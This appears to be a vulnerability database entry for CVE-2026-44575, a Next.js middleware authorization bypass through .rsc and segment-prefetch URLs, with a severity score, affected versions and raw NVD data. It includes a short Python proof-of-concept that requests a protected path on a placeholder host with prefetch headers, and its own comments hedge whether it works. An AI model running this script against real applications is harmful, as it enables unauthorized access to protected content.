Security Vulnerability Report
中文
CVE-2026-44575 CVSS 7.5 HIGH

CVE-2026-44575

Published: 2026-05-13 17:16:23
Last Modified: 2026-05-14 12:38:12

Description

Next.js is a React framework for building full-stack web applications. From 15.2.0 to before 15.5.16 and 16.2.5, App Router applications that rely on middleware or proxy-based checks for authorization can allow unauthorized access through transport-specific route variants used for segment prefetching. In affected configurations, specially crafted .rsc and segment-prefetch URLs can resolve to the same page without being matched by the intended middleware rule, which can allow protected content to be reached without the expected authorization check. This vulnerability is fixed in 15.5.16 and 16.2.5.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:* - VULNERABLE
15.2.0 - 15.5.15
16.0.0 - 16.2.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration target_url = "http://vulnerable-nextjs-app.com" protected_path = "/admin/dashboard" # Path protected by middleware print("[*] Attempting standard access...") standard_response = requests.get(f"{target_url}{protected_path}") print(f"Standard Status: {standard_response.status_code}") # Expected: 302/401 # Exploit attempt using transport-specific variant (segment-prefetch/RSC) # Vulnerable versions may serve content without middleware check on these endpoints print("[*] Attempting bypass via segment-prefetch variant...") # Headers that might trigger the vulnerable prefetch/RSC logic exploit_headers = { "User-Agent": "Mozilla/5.0", "Accept": "text/x-component", # Often used for RSC "Next-Router-Prefetch": "1" # Simulating a prefetch request } bypass_response = requests.get(f"{target_url}{protected_path}.rsc", headers=exploit_headers) # Or alternatively targeting the prefetch parameter if applicable # bypass_response = requests.get(f"{target_url}{protected_path}?__next_prefetch=1") if bypass_response.status_code == 200: print("[+] Bypass successful! Received 200 OK.") print(f"[+] Leaked Content: {bypass_response.text[:200]}") else: print("[-] Bypass failed.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-44575", "sourceIdentifier": "[email protected]", "published": "2026-05-13T17:16:22.907", "lastModified": "2026-05-14T12:38:11.500", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Next.js is a React framework for building full-stack web applications. From 15.2.0 to before 15.5.16 and 16.2.5, App Router applications that rely on middleware or proxy-based checks for authorization can allow unauthorized access through transport-specific route variants used for segment prefetching. In affected configurations, specially crafted .rsc and segment-prefetch URLs can resolve to the same page without being matched by the intended middleware rule, which can allow protected content to be reached without the expected authorization check. This vulnerability is fixed in 15.5.16 and 16.2.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-288"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "15.2.0", "versionEndExcluding": "15.5.16", "matchCriteriaId": "1FD97234-D521-4480-A0DA-785AAEFA8629"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "16.0.0", "versionEndExcluding": "16.2.5", "matchCriteriaId": "27C5CF7A-7A33-4BE4-B8FD-10BFD813204A"}]}]}], "references": [{"url": "https://github.com/vercel/next.js/security/advisories/GHSA-267c-6grr-h53f", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}